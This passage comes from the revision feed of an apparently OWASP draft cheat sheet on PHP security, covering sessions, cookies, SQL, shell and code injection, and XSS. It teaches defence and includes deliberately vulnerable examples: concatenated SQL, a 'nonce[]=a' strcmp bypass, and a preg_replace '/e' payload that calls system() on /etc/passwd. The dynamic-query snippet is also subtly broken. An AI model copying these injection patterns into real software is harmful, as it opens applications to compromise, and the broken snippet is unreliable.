You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170767</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170767"/>
				<updated>2014-03-25T12:41:02Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: Removed an extra line break following the “php.ini” subsection.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions, and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
